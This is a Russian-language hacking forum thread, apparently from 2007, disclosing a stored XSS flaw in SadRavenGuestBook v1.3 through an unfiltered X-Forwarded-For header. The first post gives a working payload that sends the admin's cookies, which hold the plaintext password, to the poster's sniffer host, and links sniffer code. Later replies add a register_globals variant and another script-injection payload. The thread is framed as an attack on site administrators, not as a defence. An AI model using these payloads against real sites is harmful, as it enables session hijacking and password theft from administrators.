active XSS SadRavenGuestBook v1.3

Discussion in 'Уязвимости' started by Talisman, 1 Mar 2007.

  1. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    Недавно ред саратов писал об дырке в этой же буке связанной с файлом пароля, где он хранится в зашифрованном виде, в версии 1.3 эту багу пофиксили, но пароль в куках хранят в открытом виде, значит нам нужна иксс атака)
    ошибка заключается в отсутствии фильтрации поля: TTP_X_FORWARDED_FOR
    в 103-107 строчках файла index.php
    PHP:
    if(empty($ip)):
            if (
    getenv('HTTP_X_FORWARDED_FOR')) { $ip=getenv('HTTP_X_FORWARDED_FOR'); }
            else { 
    $ip=getenv('REMOTE_ADDR');}
    endif;
    мы же можем изменить это поле как угодно! например юзая Mozilla Firefox и плагин ModifyHeaders.
    меняем поле TTP_X_FORWARDED_FOR на:
    HTML:
    67.22.83.13><script>img = new Image();img.src = "http://test1.ru/s.php?out="+document.cookie;</script><!-- XSS --
    где айпи - отображаемый админу (фальшивый) ну а http://test1.ru/s.php - адрес нашего снифера.
    теперь, запостив мессагу с таким TTP_X_FORWARDED_FOR, будем ждать, пока админ не зайдет в админку, и нам на снифер не утекут его куки с ОТКРЫТЫМ(!) паролем.

    Следуя пословице лучше 1 раз увидеть, чем 100 раз услышать, ну или 10 раз прочитать, качаем видео (800кб):
    http://slil.ru/24013333
    В архиве с видео лежит код снифера и более подробный анализ баги.
    ЗЫ: плиз, поместите видео на video.antichat.ru :)))
    ЗЫЫ: помоему это статья, т.к. есть анализ дырки, а не просто соль) но если модеры так не считают, перенесите плиз в более подходящий раздел.
     
    10 people like this.
  2. Retscan

    Retscan Member

    Joined:
    17 Dec 2006
    Messages:
    25
    Likes Received:
    9
    Reputations:
    11
    Неплохо. Как-то давно искал баги в этой госте, не нашел ничего. Но то, что пасс в открытом виде хранится - просто глупость автора.
     
  3. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    по просьбе с аськи перезалил видео: http://slil.ru/24172858
     
    1 person likes this.
  4. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    думаю стоит заменить на HTTP_X_FORWARDED_FOR
     
    2 people like this.
  5. Stefun

    Stefun Elder - Старейшина

    Joined:
    19 Nov 2006
    Messages:
    48
    Likes Received:
    29
    Reputations:
    11
    А легче просто вместо того чтобы заголовки изменять просто добавить еще одну post или get переменную $ip, если register_globals включены.
    Тогда получится что-то вроде этого:
    guest
     
    #5 Stefun, 3 Apr 2007
    Last edited: 3 Apr 2007
    2 people like this.
  6. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    А я вот активку нарыл...
    При добавлении сообщений куки сохраняются и активок куча.
    Code:
    "'/><script>alert(/xss/)</script>
     
    #6 banned, 9 Aug 2007
    Last edited: 9 Aug 2007
  7. Gen1rus

    Gen1rus Elder - Старейшина

    Joined:
    13 Jun 2007
    Messages:
    97
    Likes Received:
    166
    Reputations:
    20
    Перезалейте видео на dump.ru
     
    4 people like this.
  8. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    стотья? помойму надо в уязвимости такое постить